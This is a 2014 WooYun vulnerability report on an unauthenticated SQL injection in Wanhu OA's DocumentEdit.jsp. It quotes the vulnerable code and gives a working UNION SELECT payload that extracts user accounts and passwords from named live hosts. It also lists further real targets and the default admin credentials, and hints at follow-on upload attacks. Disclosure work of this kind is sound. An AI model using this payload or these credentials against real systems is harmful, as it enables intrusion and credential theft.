当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063962

漏洞标题:万户OA某处无限制sql注入

相关厂商:万户OA

漏洞作者: 路人甲

提交时间:2014-06-07 19:30

修复时间:2014-09-05 19:34

公开时间:2014-09-05 19:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-07: 细节已通知厂商并且等待厂商处理中
2014-06-11: 厂商已经确认,细节仅向厂商公开
2014-06-14: 细节向第三方安全合作伙伴开放
2014-08-05: 细节向核心白帽子及相关领域专家公开
2014-08-15: 细节向普通白帽子公开
2014-08-25: 细节向实习白帽子公开
2014-09-05: 细节向公众公开

简要描述:

万户OA某处无限制sql注入

详细说明:

登陆后有很多注入但是比较鸡肋,找到一处不需要登陆的注入。
注入文件位于:

\defaultroot\boardroom\iWebOfficeSign_sql\DocumentEdit.jsp


\defaultroot\boardroom\iWebOfficeSign_oracle\DocumentEdit.jsp


其中RecordID存在注入

String mRecordID=request.getParameter("RecordID");
String mTemplate=request.getParameter("Template");
String mFileType=request.getParameter("FileType");
String mEditType=request.getParameter("EditType");
String mUserName=new String(request.getParameter("UserName").getBytes("iso8859_1"),"GBK");
//zhuo add 判断模块类型(信息管理,公文)
String moduleType=request.getParameter("moduleType")==null?"default":request.getParameter("moduleType");
String isSaveHtmlImage=request.getParameter("saveHtmlImage")==null?"0":request.getParameter("saveHtmlImage");//是否生成HTML图片文件
String isSaveDocFile=request.getParameter("saveDocFile")==null?"0":request.getParameter("saveDocFile");//是否生成DOC文件
//取得编号
if ( mRecordID==null)
{
mRecordID=""; //编号为空
}
//取得模式
if ( mEditType==null)
{
mEditType="1"; // 0 显示 1 起草 2 批改 3 审核
}
//取得类型
if ( mFileType==null)
{
mFileType=".doc"; // 默认为.doc文档
}
//取得用户名
if (mUserName==null)
{
mUserName="金格科技";
}
//取得模板
if ( mTemplate==null)
{
mTemplate=""; // 默认没有模板
}
//打开数据库
DBstep.iDBManager2000 DbaObj=new DBstep.iDBManager2000();
if (DbaObj.OpenConnection())
{
String mSql="Select * From Document Where RecordID='"+ mRecordID + "'";
try
{
result=DbaObj.ExecuteQuery(mSql);
if (result.next())
{
mRecordID=result.getString("RecordID");
mTemplate=result.getString("Template");
mSubject=result.getString("Subject");
mAuthor=result.getString("Author");
mFileDate=result.getString("FileDate");
mStatus=result.getString("Status");
mFileType=result.getString("FileType");
mHTMLPath=result.getString("HTMLPath");
}
else
{
//取得唯一值(mRecordID)
java.util.Date dt=new java.util.Date();
long lg=dt.getTime();
Long ld=new Long(lg);
//初始化值
mRecordID=ld.toString();//保存的是文档的编号,通过该编号,可以在里找到所有属于这条纪录的文档
mTemplate=mTemplate;
mSubject="请输入主题";
mAuthor=mUserName;
mFileDate=DbaObj.GetDateTime();
mStatus="DERF";
mFileType=mFileType;
mHTMLPath="";
}
result.close();
}
catch(SQLException e)
{
System.out.println(e.toString());
}
DbaObj.CloseConnection() ;
}


poc

http://www.qlyxjy.cn:8080/defaultroot/boardroom/iWebOfficeSign_sql/DocumentEdit.jsp?RecordID=-2074%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%20CONCAT%280x71786b6771%2CIFNULL%28CAST%28EMP_ID%20AS%20CHAR%29%2C0x20%29%2C0x6e736e676578%2CIFNULL%28CAST%28USERACCOUNTS%20AS%20CHAR%29%2C0x20%29%2C0x6e736e676578%2CIFNULL%28CAST%28USERPASSWORD%20AS%20CHAR%29%2C0x20%29%2C0x7168726371%29%20FROM%20ezoffice.org_employee%20LIMIT%2021%2C1%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23&Template=0&FileType=.doc&EditType=1&UserName=1&moduleType=1&saveHtmlImage=1&saveDocFile=1


sqli2.jpg

漏洞证明:

sqli-mysql3.jpg

sqli-mysql.jpg

丢几个例子:
http://www.qlyxjy.cn:8080
http://123.232.105.106:8081
http://oa.frjt.net:8081
发现系统默认存在在三个账号:admin\sys\security初始密码为111111第一次登陆后要改密码,经常会有些没改的。
随便破个账号进去后上传漏洞就多的是了,嘿嘿。

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-06-11 16:42

厂商回复:

最新状态:

暂无